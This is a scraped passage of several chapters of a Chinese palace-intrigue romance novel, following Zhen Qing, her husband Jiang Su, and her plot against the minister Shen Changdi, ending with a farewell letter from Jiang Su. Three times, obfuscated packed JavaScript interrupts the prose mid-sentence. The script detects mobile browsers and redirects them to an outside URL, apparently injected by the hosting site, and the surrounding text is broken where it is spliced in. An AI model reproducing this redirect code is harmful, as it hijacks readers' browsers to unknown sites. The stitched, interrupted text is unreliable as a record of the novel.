邓跃见枕清挑了挑眉眼,他笑着拱手说:“给夫人与将军行了一个大礼罢了,不碍事,一点都碍事!” 枕清知道这是邓跃给自己台阶下,她也没有拂了面子,唇瓣弯起星点笑意,又瞧了眼一言不发的江诉,也没有说话。 她一直绕在庭中小院,行过长廊,穿过假山,掠过池水,兜兜转转又会到方才邓跃三人摔出一个坑的雪地里。身后始终只跟着江诉一人。 她没有开口去问江诉这路究竟怎么走,又绕着与方才不同的路走去,直接看到了出府的门口,既然身后的那人不说,枕清也不想着服软,她直接一不做二不休地走出江府,直接回宫中好了! 江诉知道枕清的想法,在她跨出门槛的那一瞬间,当即把人拉住,又将人抵在角落,他垂下眼看着枕清,忽然有些想生气,可又发觉自己无可奈何。 他叹息了一声,诱哄道:“张嘴。” 枕清自然是不愿的,她恶狠狠地瞪了一眼江诉,江诉当作没有看到般直接吻上了枕清的唇,舌头长驱直入,两方勾缠。起初还能有来有回,可是后来枕清整个人被吻得腿软,甚至连身体也不听使唤,整个人堪堪倚靠在江诉身上才没有坐在地上。 她呼吸凌乱,气喘吁吁,等自己完全有了力气,便想着如何离开,可才动一下脚步,江诉就将她圈在怀中,动弹不得。 枕清简直要开口骂江诉,却听江诉低声说:“枕清,我不后悔昨天的决定,如果再来一次,我依旧会这么做。你想要沈昌砥死,不必用如此极端的手段,你身后有那么多人,即使难以全身而退,但目前的我们也不必孤注一掷。” 他轻轻将枕清转过身来,碰上枕清的唇,落在她腰间的手腕缓缓摩挲,苦涩道:“我希望你活着。” 枕清哪里不知道江诉的想法,从前无论她想要做什么都不曾阻拦过,只有这一次。 她感受到身前的人格外珍重缠绵,声音贴在她的耳廓:“我心尖上的人,怎么在你这里就成这般模样?这条命可以随心所欲,无所顾忌?枕清,你自己也是人,是鲜活的命啊。” 没有听到枕清的回答,江诉说:“你不在乎你自己,那我呢,惊玉呢?” “......” 这一瞬间,枕清像是回到上一世的最后一面,她嘴角弯出一点点笑意,好像又要说出伤人的话。可是看着江诉那样的眼神,那样的目光,她便什么都说不出来了。 刹那间,她无比痛恨自己,可又无比庆幸。 她含着泪吻上江诉的唇,良久后松开,说:“我知道了江诉,昨日是我失控了。我不应该因为太想他死而如此着急,以至于放任自己的性命不顾。” 他听罢,轻轻笑了下,拉过她的手把人往府中带,打趣说:“方才走错了路也不来问我,就这么气么?” 枕清说:“你也知道我走错了也不来提醒我一下,自然要生气的。” “我错了,下次我一定说。”江诉道,“可是,我很生气,生气你瞒着我去做这么可怕的事情,生气你昨晚拿起刀刃划伤自己。可我最气我自己,如果我能再厉害一些,也许你就不用那么痛苦,也许早早就能发现这些问题从而制止他。” 这不是江诉的错。 枕清与江诉相处,知道江诉生活在幸福的世界里,这里的阴谋诡计,私与利的构建,江诉很少碰得到,他一个人能走到如今这一步,相当厉害了。 她笑笑说:“你已经很厉害了,江诉,你帮我了许多。” 今日这场午膳,每个人都格外安静,吃饭的时候,闭口不言,生怕做错了什么。 枕清没有与江诉说话,一直默默吃饭,所有人忽然发觉,昨日的情况比他们所想的更加激烈。 好像这是他们第一次吵架。 待众人都下了饭桌。邓跃叹了一生气,道:“我已经很久没有过过看人眼色吃饭的日子。” 张飞飞附和道:“我也是,这大冬天的,吃得我一头冷汗。” 两个始作俑者原本是想着在饭桌上稍微缓和一番,可是见他们都是如此模样,也整得他们不自在了起来,只好安安静静地吃完饭离开。 江诉紧随其后,二人一前一后地走了出来。 枕清将自己这段时间的规划都通通告诉了江诉,她思索道:“自从前日那样被我逼问,秋迹心中一定是会对沈昌砥起疑,而且他会退出朝局,届时,我让沈昌砥担任两职。” 江诉看不出来秋迹那样的人会心甘情愿地退出朝庭,做一个闲云野鹤地闲散人,他见枕清笃定,询问 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江诉非常配合的摇头,神情都带着一丝不解。 枕清被江诉这一番逗弄,失笑道:“我看到了他脖颈处有伤疤!而且梅海快死的那一次,他桌案上摆了两份茶具,说都来了,但又不包括枕灵,起初我还在意外,现在想想,他说的都想必是有枕淮。” 心思竟然这般细腻,不禁让江诉佩服,他笑着说:“夫人好生厉害,让郎君心生敬佩。” 被夸得枕清非常受用,可是她又苦恼了起来,掰着手指仔仔细细地算了起来,还有一些日子,她问:“江诉,我真的有些等不及了。” 江诉抱着枕清,将人紧紧揽在怀中,安抚道:“我陪着你等,总会有那一天的。” 如此想着,枕清好像总觉得自己忘记了什么,她看向窗边的景色,躺在江诉的怀中,说:“他可真是好打算,把所有的证据、疑虑都推到禹王身上,让我不得不起疑,从之前的屠枕家满门,到后来在我身上下毒,那毒又只有太医院才有,如此凑巧,以及小顺子说得金山。桩桩件件都指向了禹王,可是越是指向禹王,我越是不信。” 小顺子江诉看过几次,一直都跟在枕清身边,可他回了长安,却没有见到那人,大概是走了吧。他也没问,听枕清自顾自地说:“其实哪有什么金山,都是寻找一个诓骗的幌子。把所有人都骗了,下了一个天罗地网,我们就是他棋盘上的棋子,被他操控着,有些还只是雏形,有些早就派上用场。他知道我不受他的控制,所以他打算先下手为强,如果我不能为他所用,那么到了时候,我自然成为他的弃子。就如同上一世一样,不知不觉地死了,就连死的时候都没查出谁是真正的凶手。” 说到此处,她笑了一下,那笑容有痛快,有苦涩,有哽咽,也有欢快。 “幸好重新活了一次,这一次,他必死无疑。” 125. 天回地转春犹在(四) 枕清在第二日去了百草堂,见到了当初在鬼市请来的老人。不过那老人似乎没有认出来她,一脸不耐烦的模样推搡着她与江诉离开,皱眉道:“这大过年的,若是没有病的快要死了,老朽不看病!” 脾气真是一如既往地随心所欲。枕清掀开盖在头上的帷幕道:“这么久不见,脾性还是这么大,那些看病的人没有在背后说你脾气差么?” 这么不给人面子的话,他听得少,这么一出口,都不抬起脑袋去看那张脸,就已经知道是谁了。 他抬起脑袋,上下打量了一番,又斜眼瞧了身后的江诉,这才侧过身子让出能与人走的一方空地出来。 他嘴上也不饶枕清:“好几年未见,还以为你死在哪个地方了,竟然还活着,怪不得都说祸害遗千年。” 此话甫一出,还没等枕清去说点什么,江诉的眼神就已经扫过去,那人看到江诉的眼神,哟嚯了一声:“你小子看什么?当初我救这小丫头骗子的时候可没看过你,我算是她的救命恩人也不为过,就被我说这么几句都听不得了?” 枕清回过头来望了眼江诉,给予他一个放心的眼神,回过头朝老者道:“话是这么说,可是这百草堂终究是我说了算,也给你付了银子,今日我来也不是与你说这些的,我想问你...” “我什么也不知道!”老者一听这话就觉得不对劲,他就知道这枕清一回来找他准没好事,干脆一口回绝。 “你不知道?”枕清可没打算放过他,“那你如何能解我的毒?你又姓甚名谁,家住何处?有如此本领,在遇到我之前为何终日苟在鬼市之中?阁下不会以为我真的什么都没查到吧?” 几年不见,枕清变得更加不好糊弄,甚至有种上位者逼视的意味。他呵呵一笑,恰似不解道:“老朽只救人,不害人,就算你查到了,我又何必要害怕?贵主变了,比往日更厉害些了。” 这话说得叹息,枕清听得也有些不对味来,她静静凝视老者的面容,顷刻,她笑着说:“你是只救人,不害人,可是你的师兄就不一样了,当初我身上的毒就是出自他之手。阁下因为他的各种手段退出太医署,不觉得可惜么?如果当初你也受了贿赂,或许坐上太医令的位置,就不是当今这位了。” 看来枕清已经把他查得干干净净,他竟然没有一丝生气,人生在世,太正直果真是难以前行,肮脏腐烂的气息早就布满任何地方。 可是他依旧不后悔。 枕清说:“我可以破格让你回到太医署中,不过...” 老者盯着枕清,看她是要说出什么惊天的花样来,究竟是要他出多少更厉害的毒药,还是说长生不老的仙丹,又或者是更离谱的事情。 可他左右等了几息,才听她缓缓说:“不过我要你把我所中的毒,将解药配置出来。” “仅仅如此?”他不太信,也不敢信,“没有其他的了?” 枕清颔首说:“自然。” “好。我答应你。”老者沉吟道,“只是我不想回太医署中,但我想要太医署的药草,以及那些古典书籍。” 这么一把年纪,虽说真的回到太医署中,应当能服众,可是其中尔虞我诈的事情太多,况且皇宫那些贵人哪有他耍脾气的时候,倒不如居在这西市的一方药肆中,看看病,聊聊天,偶尔不开心了就去旁边买两块点心,日子也过得舒坦极了。 他老了,也不想折腾了。 枕清知道人各有志,其实这一生自己能过得舒心就已是极好,无论是身居高位,还是说弄堂里拘在一方小天地里,无非就是过后接下来的日子与时间。 她说自己走了,老者摆摆手说:“没事别常来。” 枕清闻言一笑,待人走得越来越远,就听身后传来一声惊天咆哮声:“枕清!你又把我的药顺走了!!!” 这声音可谓是撕心裂肺、气势冲天。 江诉听罢,顿时升起无奈,就知道方才自己那抹眼神看早了,枕清是不会让自己吃亏的人,他牵着身旁的人,欲言又止:“你啊......要是把那老人家气坏了怎么办?” 枕清狡黠一笑,又故作无辜道:“我不是已经给他留了一串铜钱了么?我不是偷,我这是买!” 十分正直。 “买也是需要当面交易,哪有你这般样子的。”江诉知道枕清不爱听她说这些,可是多多少少有些无所顾忌,好歹是年纪比较大的老人家,也救过枕清的命,气出好歹来可不行。 枕清确实一副了无兴趣的样子,懒散道:“知道了。这件事我也不是第一次干了,当初我在鬼市没少这样,一来二去也就混熟了,他知道我是个什么德行,但我没想到这么多年了,他这眼神不好的样子可是一点没改啊。” 她说得非常稀松平常。 江诉缓缓听着,好像才发觉自己对枕清从前的路子不太熟悉,就好像看了很多很不一样的她,但又知道都是她。 去完了百草堂,枕清又走进了长安第一镖局。 这几日过年,镖局只有稀稀落落的几个人,并不打算接活,就算接活也只能排到半月后。 枕清前脚刚一走进去,后脚就有人走了过来招呼道:“足下今日来得不巧了,正好遇上雪天,镖局几日后才会开始接生意,足下若是等得住,先约定好大致日子,届时我们再上门与足下确定出发的时辰。” “好啊。”枕清掀开帷帐,看向那两人。 京墨与天冬两人相互看了又看,他们惊喜地喊道:“小县主!” 长安的昆仑奴甚多,他们的肤色也极为显眼,江诉一看就知是外邦的,当初在春日宴那次,也看到这两人。 没想到现在做起了镖局的行当,不过有这两身形魁梧的人在队伍里,自然是能震慑不少,他看着三人叙旧,也只是静静地望着。 枕清笑着拍了拍这两人的肩膀,称赞道:“这长安话说得是越来越好了。” 两人相互对视,都不好意思地笑了笑,转而伤怀地问向枕清道:“县主这几年去哪里了,我们还以为县主真的死了。” “我出去游山玩水了!”枕清没有想让他们替自己担忧,半真半假道,“我去了很多地方,陇右道的凉州、庭州、兰州,还有河东道,那里的风景漂亮得紧,总叫我念念不忘。” 京墨向往道:“我也想跟着县主一起,县主现在还要我们回去吗?” 还要他们回去吗? 枕清听到这话,眼睛微微泛起酸意,她拼命压下酸意道:“你们在镖局不好么?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14114721|144107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “好啊。”他们异口同声道。 “既然好,又为什么要跟着我呢?” “因为...”天冬见京墨回答不出来,代替他回到,“因为县主待我们极好,我们想要跟着县主一起,就像是当初在禹王府中一样。” 天冬比京墨有眼见力得多,知道枕清为难,他又说:“不过,现在都已经回不去了,贵主已不是县主,禹王府也没有禹王了,贵主现如今的身份将我们带在身边一定少不了麻烦,其实我们在镖局也过得很好,青黛娘子与应小娘子都很好。贵主不必挂怀,若是有时间,可以常过来看看我们。” 京墨知道天冬非常想要跟着枕清,甚至比他还要想,可是为什么会说出这样的话呢?京墨不知道,但是也跟着他一同道:“县主要是常在长安,可以多来看看我们。我们都很想念你。” 枕清笑了笑,她一抬头就看到从一侧走下来的青黛。她一身短打干练的劲装,好像正打算出去,在她看到枕清的那一刻,眼神不禁变了又变,她好像成了一个木头,四肢都是僵硬的,直到看到京墨与天冬眉眼浸透着高兴才回过神来。 “你还活着?” “我还活着。” 枕清许久没有与青黛见过了,青黛的神奇与气度都发生了极大的变化,而枕清对于青黛而言,也是如此。 枕清变得比前几年更为憔悴,可眼神与气度比几年前更有力量,即使力量看似如蒲草一般,可一旦露出强硬,又是一把锋利的刀刃。 这般模样,青黛在几年前就能预料得到,只是再次出现在眼前,还是会有那么一丝诧然与意外。 “有时间么?坐下来吃一吃酒,暖暖身子?”青黛落下这话,轻车熟路从柜子后方拿下酒水,摆出桌椅。 即便如此,她还不忘问上一句身旁的江诉,“那位郎君我好像见过,但又忘记了在哪里见到的。” “春日宴吧。”枕清先是回答了她的话,再而介绍道,“她是我郎君,江诉。” 作为枕清的郎君,青黛并不意外,可是听到江诉二字,她眉梢还是挑动了一下。走南闯北那么些年,江诉的名声可是传遍了大街小巷,是大启中的英雄。若是说谁的风头最盛,当属是江诉了。 那么身为江诉的娘子,青黛问:“你是北肆姝?” 枕清轻轻哼了一声,算是回答了。 青黛忍不住道:“你这脾气,你家郎君好性子。” 枕清笑着说:“那是自然,我枕清的郎君,各方各面自然是要最好的。” 这话听得人忍俊不禁,青黛倒是真的有些没有话讲了,她垂首把酒水倒好,一时无言。 其实很多话说出来都不好听,所以青黛也没有说,不过她还是想说一句:“谢谢你,枕沿溪。” 这话真心实意,好像就那么一个小举动,改变了一些人的一生。 枕清喝了一碗酒,明明是千杯不醉的肚量,可是因为这一句话,居然有些许飘忽,她眼神逐渐失神,又回陇,她望着她道:“你这声谢谢,我收下了。” 今日的枕清很开心,是这两年内最开心的一日。 原来还有这么多年在她看不到的地方好好活着。 枕清牵着江诉,慢慢回了江府,好像一辈子很快就到了。 126. 天回地转春犹在(五) 一个寒冬过去,传来了秋迹的死讯,据秋家人说是年纪大了,走在河边,一下子栽到了湖里,将自己淹死了。 大冬天的淹死了。 还不如说冷死了更让人接受。 枕清在心中冷笑,面上一如既往地平和,她抬首看向沈昌砥,悠悠问:“我想着秋老与沈阁老关系极好,听到这个消息,沈阁老一定很伤心吧?” 沈昌砥看着枕清,他的眼神逐渐变得哀泣,叹了一声道:“人在河边走,哪有不湿鞋。” 枕清轻轻一笑,挥手道:“那就特允阁老在家待个几日,养好伤心处再来上朝吧。” 沈昌砥一时摸不明白枕清究竟想要做什么,他匿去眼底的精光,露出伤怀道:“多谢贵主体恤。” 甫一下朝,谢冠当即跟了上来,着急忙慌地低问:“她这是什么意思?难不成想要在这几日削弱你不成?说好听点是让你回家养养,难听些可不就是想趁你不在私自动手脚?秋迹这件事,八成也是她做的!上回她私下要见我,我便知道没安什么好心,也就叫二郎待我我去了。” 沈昌砥低笑一声,缓缓看向谢冠,说:“你倒是聪明。” 这么一夸人,谢冠有些不好意思了,又露出疑惑道:“那阁老可能猜出她为什么提拔我了,居然要把秋迹的位置一并给了我,我本就手握重兵,这样一来,我倒也惶恐。” 怎么能不惶恐?只不过枕清这是要利用与许家与谢家的联姻,让旁人猜测这谢家是太后殿下那头人了,想要人心倒戈,朝中再也没有他的胜算。 沈昌砥没再瞧他,自顾自地往前走道:“贵主给你的恩情,你就收着吧,旁人想要,还得不到呢。” 与此同时的另一边,郁华隐心中不安,她急迫道:“你这样做可行么?” “他都已是穷途末路了,不死也得死。”枕清说。 “可是枕清,你真的下得去手么?” “如何不能?他害死了那么多人,也从未养过我一日。” 郁华隐得到如此回答,又想她的脾性,目光在她面上流转,看不出任何的不舍与难过,于是小声问:“秋迹的事情是不是你做的?” “不是。”她回。 郁华隐问:“沈阁老动的手?” 枕清淡淡道:“或许吧。” 修养了这一两日,沈昌砥也没快活到哪里去,罗长观三天两头就开始去沈昌砥的府邸进行搜查,无论大大小小的地方,还是池子冰窖,都没有放过。 不过最后,罗长观依旧无功而返。 白天搜查完,晚上又折回去再去看,沈昌砥夜起,压下阴沉的目光,看向他,“罗大理寺卿倒是有闲情逸致,三番五次地朝我这边跑。” “不过是奉命办事,想要早日找出真凶。”罗长观并不畏惧,“上头压着下官,我这也无可奈何。” 说罢,他脚步一迈,就走近了一处安静的偏院,白日里倒是没有发现此处的存在,到了夜间却是极其明显,他正想要推开房门,沈昌砥已经站在他身旁,阻止了他的动作—— “这是小女的闺房,她已经睡下了,你们这一群人这么进去,岂不是要坏了她的名声?!” 这话说得急躁,已是压抑着极重的怒火。 罗长观比沈昌砥略高半个头,他稍稍垂下眼睑,就看他袖中有散发荧光的香囊。难怪在白日没看到,这个应当是枕清留下的那个。 他掠过他生气的面容,没有多想,欲要推开房门的手并没有因此停下,他说:“按照规矩办事,沈阁老放心,大理寺办事,自然没人敢胡说八道。” 被身旁的花明瞧了一眼,他方才改口说:“倘若真的不放心,那就让令爱出来,好让我们搜查。” 两方依旧僵持着,屋内突然有声音而动,帷帐挥因为慌乱的脚步轻轻舞着,那道声音娇娇弱弱:“阿耶,外边发生什么事了?” 还没等人说话,门便已经打开了。罗长观的视线在小娘子脸上大致瞧了一眼,而花明仔仔细细盯了个遍,这位女娘的五官小巧精致,一颦一簇看起来非常灵动,就好似养在深闺之中,什么都不懂的女娘。 干净、纯洁。 与枕清截然不同。 罗长观简短地朝她告知一声得罪,示意身后的人进去搜查。 沈昌砥俨然是被气着了,走前护住自己的小女,那小娘子又惊又惧,走到在沈昌砥的身旁,从未见过如此状况,慌乱地看向四周,好半晌,才回过神来。 沈昌砥静静等着,时不时安抚身旁的孩儿。 夜色寂静,四周都是死气沉沉地一片。 皇宫内没有一丝声音,直到黑色的影子缓缓走近,枕清才缓缓抬起眼看向来人。应钰着急地掀开连帽,将袖子内的东西都拿了出来,道:“我能查到的东西大多数都在这里。” 枕清细细翻开那些册子,如何升官进爵,又去了哪里,生过几场病,家中有几口人。 沈昌砥是在先皇去世的前两年进入朝廷,那时候枕家早已经没了,所以他寻找了别的方法进入了朝廷,改头换面。 十几年就能坐到如此位置,还不叫人察觉发现,果真是好本事。 枕清的目光落在沈昌砥的女儿身上,她点了点那张纸,又看了看纸页上的容貌,她问:“沈昌砥的孩子?” 应钰说:“据说是的,不过,没人知道她的母亲是谁。还有人说这是沈昌砥捡来的,具体的,怕是只有他自己知道。” 捡来的? 他哪里会有这般好心。 枕清嗤笑一声,脑海中瞬间闪过一个念头,她问:“梅海呢?” 如此一说,应钰倒是真的回想过来了,她又惊又疑,“梅海确实有一位小女娘,但是没人知道梅海将那位小女娘究竟放在了何处。” 这是极为私密的事情。 枕清与应钰相互对视一眼,她们都能在比彼此眼神中究竟是何意思。 这怕是梅海的孩子。 而沈昌砥就是枕淮,没有什么金蝉脱壳,也没有什么易容术,就是长得与现在这般模样相差无几,但上回看到脖颈的不平之处,大抵还是有些许细微的偏差,又或者是掩盖伤疤。 如此一来,枕清倒是不怕沈昌砥在某一日金蝉脱壳,而找不到他人了。 但是动作也需要更快。 至于那位小女娘,枕清没心思去理会,自然也不会多在意,只不过听应钰说,沈昌砥对这个小娘子挺疼爱,生怕哪里磕碰着,好生仔细。 她敛下目光,心中已有想法,“那就把人看住了,我要用她。” 她忽而想到了薄映禾。 垂下的眼睫在眼底晕沉一片,极为晃眼,也极其压抑。 再这样下去,只怕是对符生枝那边瞒不住了。 这几日长安城内看似太平,实则底下有无数风吹草动。 罗长观这么一做,朝中不少风声走动,刚搜查完两边,沈昌砥就已经熬不住,回来上朝了。 沈昌砥此人绝非吃素的,正一回朝,就有人当着他的利剑举报罗长观身边的花明女扮男装,甚至谋取到了官职。 倘若真的要计较起来,罗长观大可以将花明推出去,说自己什么都不知道,但真的如此做的话,花明一定会死。 所以罗长观看向了枕清,枕清抬眼看向了郁华隐,郁华隐看向了一旁的空气。 ...... 枕清深吸了一口气,她挑眉问:“嗯?你说罗大理寺卿身旁的小郎君是女子,你可有证据?” “这是自然。”那人把证据供了上来。 郁华隐与枕清相互瞧了一眼。 枕清眉梢一挑,郁华隐手中的册子一甩,俨然是生气的意思。众人惊疑不定,恍恍惚惚地想起来,郁华隐曾经也是女子入朝为官,而且比花明更为严重,不经诚惶诚恐,生怕有大祸临头。 他还没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128691|144107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开口为自己辩解,郁华隐旋即站起身怒道:“倘若按照你的说辞,难不成连本座的罪也一并罚了?” 那人扑在地上,整个身子都在发颤,他哆哆嗦嗦道:“下官不敢,下官没有。” 之前都是枕清出面,而她坐在后边听着、看着,这个朝就已经下完了,一切都是由着枕清把持,今儿一下子将自己凸显出来,她倒是真的有些不习惯。 起初以为枕清害怕她的势力崛起,从而影响到枕清的地位,而她与裴聿怀都是枕清的傀儡,可时至今日,郁华隐才真正明白在这里,与这么多文武百官分庭抗礼是多么难的事情。 被无数双眼睛盯着,那样的眼神,虽说平静,可暗藏底端的都是如何将她们拉下马的模样,简直叫人发颤。一步走错,即入深渊。 其实枕清才是她与裴聿怀的靶子,枕清把自己放在所有人都看得到的位置,让无数狠利的剑都朝向她自己,将所有人都骗了过去。 从一开始,枕清便没有想过要全身而退,所以枕清究竟想要做什么?郁华隐看不清,她转头望向江诉,江诉目光虽是平静,但坠着担忧。 枕清没有让郁华隐继续逼问,她听着谢冠说:“下官们不敢,只是这花明的确是女子之身,乃是欺君之罪,太后殿下现如今为国为民,自是不可相比拟。”他眼神透着凌厉,“况且,罗大理寺卿看似不是不知道的模样,莫非大理寺卿早就知道?” 这一状况,把所有目光都堆在了罗长观身上,他要是说是,一并欺君,若说不是,那么花明在这些人口中,必死无疑。 他在犹豫、迟疑,看向枕清。 枕清弯唇,罗长观承认。 此话甫一出,满殿惊讶,外殿的五品小官员想要伸长脖子听听是何缘故的动静,却又不敢有太放肆的动作。 一瞬间,罗长观便成了最中间的人,他抬眼看向七嘴八舌的众人,唇瓣勾起极轻的弧度,他侧头,露出青筋,好似处于危险之中,隐忍而发的猎豹。 “臣有事上奏。” 枕清说:“讲。” “臣前两日奉命追查真凶,”罗长观视线骤然望向沈昌砥,“在沈阁老的令爱房中找到这个。” 所有人都看向他手中的一本册子。 罗长观眼底匿出光彩,他平静道:“臣怀疑,沈阁老私藏罪犯。” 还没等沈昌砥说话,谢冠就开始气得跳起脚,他怒声道:“简直一派胡言!胡搅蛮缠!你怕是觉得我们在找你麻烦,所以狗急跳墙吧?” 这样的状况,对于他们来说,俨然是的。 可最关注的还是上面那本册子,所有人都不动声色地看向上边枕清的神色,郁华隐也跟着瞧了瞧,看清楚上面的东西,狐疑地望向枕清。 怎么是一片空白???? 罗长观呈上来的东西是空白的。 现在枕清开始发挥了,她装作有字的样子,旋即大怒,咬牙切齿道:“沈阁老果真是好本事。” 郁华隐这一下就猜测出来,这是一起诓诈沈昌砥。 沈昌砥并不上钩,而是看向枕清,平缓问:“下官不明,还请贵主明说。” “梅海的孩子,在你这里。就是你府中的令爱。”枕清徐徐走了下来,眼神深暗,“还需要我说得更明白一些么?” “不必。”沈昌砥道。 许久后,见人没有动作,沈昌砥道:“贵主想拉我下马,也得想想自己究竟姓什么?” 枕清眼神微动,她撞进那双冷漠锐利的目光中,心中骤然一跳,那日,阿姐心心念念的阿耶是否也用这样的神情看着她。 她恍惚回过神,冷笑道:“沈阁老担忧我的姓,倒不是多想想自己怎么活着出去。” 枕清吩咐道:“来人,将沈昌砥与罗长观一并关押。” 旁边的太监小心翼翼问:“关押到哪里?” 自然不可能是大理寺,她顿了顿道:“刑部。” 127. 天回地转春犹在(六) 这里头刚进去,就有人开始找上了江诉。 郁华隐一下朝,心中就有了度量,当初沈昌砥把持朝政将近十多年,威势和权力震动内外,云嘉颂只好拱手,什么事都不能亲自参与。对于这种情况,云嘉颂早已忿忿不平,及至禹王回来,后增加科举,广纳人才,才稍加平衡。 可直到云嘉颂死去,也愈发愤怒。 现如今因为河东一举,江诉等人也是在朝中一席之地。倘若江诉有心与之反抗,势必又要是一场恶战,而彼时的郁华隐没有任何转机,只能依靠枕清。 不,其实还有。 许家是她母亲的娘家,许昭玥又嫁给了谢家大郎,或许还有一线转机使自己利用,只可惜自己的母亲不在了,不然能找谢冠商量平衡一番。 郁华隐从今日开来,就分清楚了局势,她开口道:“如今他已经穷途末路了,你为何不直接收拢谢冠,更何况他旁边还有许家,许家算得上我半个母家。” 最后一句的声音极轻,说得有几分不自然,生怕打扰到了枕清的不快。 枕清哪里想不明白郁华隐所想,她目光朝她看去,嘴角勾起讥讽:“不说,自然是因为太蠢。” 郁华隐顿愕。 她没想到枕清说话竟然如此干脆利落,她仿若又回到了那天晚上,她一步步走近,而她溃不成军,只不过此时,她们已然成了一道人。 枕清轻笑:“他倘若真的聪明,那么就不会被沈昌砥玩得团团转,倘若他真的念及与许家的联姻,那么就不会在我私密召见他的时候,予以拒绝,让谢长均过来打发我,更不会在今日因为罗长观摆出证据而疾言厉色! “你不会真的以为我有那么好心,当初在太后殿下薨逝那日,先皇就那么凑巧遇上了刺客,被刺客杀死了吧?背后之人不是我,是沈昌砥,他也想要先皇死,从而取而代之,当然其中最大利益者看似是我,实则我也只是被推到这个位置上,他的目的,是将我成为众矢之的的靶子,人人都能有把利箭完完全全地射向我。” 郁华隐看向她,嘴角动了动,可始终没能说出来那些话。 她笑着说:“阿隐,我站在这里,你定能安然无恙的在背后,但我要你答应我做一件事。” 郁华隐看不明白枕清,现如今枕清无论做什么,她都阻挡不了,其实这话,更多的是多此一举。 可她还是问了。 “何事?” 枕清说:“当初你与我说的志向那样,设女科,当清官,为百姓,谋天下。” 郁华隐忍住喉咙的干涩,她突然有些想落泪,其实从始至终都是她不信任枕清,可是枕清从未想过要把她与裴聿怀当成傀儡,完完全全把控全局。如今这么做,是因为她想要将沈昌砥伏法。 郁华隐闪过一丝不可置信来,她心中忽觉不好,上前抓住枕清的手腕,唯恐人就这么不见了。 她焦灼又急迫道:“你想要做什么?” “你无需你担忧。”枕清挣脱她的手,“当好你的太后。” 郁华隐:“你是不是要杀了沈昌砥?你要孤注一掷?那你想过江诉么?如果你死了,他要怎么办?” “沈昌砥会死,但我不会。” 枕清侧首:“同样的错误,我不会犯第二次。” 枕清一踏出殿门,宁千渝就已经跟上来,小声道:“在看押的时候,沈阁老说自己要去更衣,之后出来了另一个人,我从他身旁经过,没有发现特殊的香味,应该是跟贵主所想的一样,换了一个皮子。” 枕清勾唇,沈昌砥知道她是等不及了,所以觉得她沉不住气。这段时间,自己的一举一动都在沈昌砥的眼皮子底下,理应猜得出来自己此举是真的把他往死里逼。 可是,如果说从进宫的第一日,一举一动都是障眼法呢。 宁千渝担忧道:“贵主明明猜测得到沈阁老的动作,为何还要放他走呢?这样岂不是更惹其烦忧?” 枕清说:“没有沈昌砥出头,那些人都是扑腾不起来的麻雀,虽说枪打出头鸟,可是没有了这只鸟,怎么能一锅端了呢。” 这是故意放沈昌砥走,想要他来当领头羊。 枕清看清宁千渝明了的目光,轻轻一哂,当即下令,派了左金吾卫石棠磊入宫住宿,以防范意外变故。她静静坐在殿内,摩挲着杯口,命令身旁的师坤尧逮捕谢冠,罪名是:“擅自率兵入宫,想要图谋不轨。” 这边刚金蝉脱壳的沈昌砥看着接应的谢冠,当即说:“趁着他们还没有防备,今夜赶紧整军,明日趁着夜晚率兵入宫,赶在他们发觉的前面,挟持郁华隐。” 谢冠狐疑:“可是我听到江诉那边已经有了动作,这样会不会有些问题?” 沈昌砥说:“江诉的军队进不来长安,现如今都被堵着了。” 那几人附和:“阁老英明,竟然还有后一招。不知道这后招究竟是谁?” 沈昌砥道:“左金吾卫石棠磊。” - 枕清第二日派的人已经人去楼空,枕清便已经明白了他们已经打算开始动作,枕清知道沈昌砥留有后手,只是她不知道那个后手究竟是谁。 而今日的江诉也没有上朝,反倒是有人递了一封信件给她,那是江诉的字迹。 ——娘子枕清亲启 娘子枕清,我叫江礼远。 也许你会意外我为什么会叫这个名字,但这就是我原本的名字。或许从一开始就注定了,礼远,离远。 江诉是我在这个世界有意取的,江诉谐音江苏,江苏是我在那个世界的故乡,你一定没有听说过,大概是在姑苏那一带。为了让我永远都不要忘记原来的世界,不要融入、沉沦在这个世界里。我是一个即使痛苦,也要清醒的人。 所以在这个世界,每一次喊我的名字,都像是在警醒我,我不是这个世界的人。 在这里,我没有任何亲近之人,你会觉得我薄凉冷淡,置身事外,可在这个世界上本就没有我留恋的地方,我甚至痛恨、憎恶这里,它让我形容枯槁,忘记原本的我也是一个活生生的人。 你一定想不到,像我这样的人曾会大骂天道不公,也想过毁灭世界, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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突然见枕清的眼泪如同断了线的风筝一滴又一滴地落下,因为她的头稍低,泪珠没有落在脸颊上,而是从睫毛下刮落,从空中略过,滴在地面上,激起微不足道的一点。 郁华隐嘴角的笑意僵持,感觉周身漫延了枯萎。枕清仿若味觉,好似只听见了那日江诉的祈求和怒意:“只有你活着我才能活着。” 可是他死了,她又怎么活着。 枕清突然痛苦地笑了出来,枕清觉得这一生都好似过得荒唐,如同黄粱一梦。明明一直在追求的真相,变成了要杀死的真相,明明一直在守护渴求的人,却又都死了。 她轻轻说:“傻子。” - 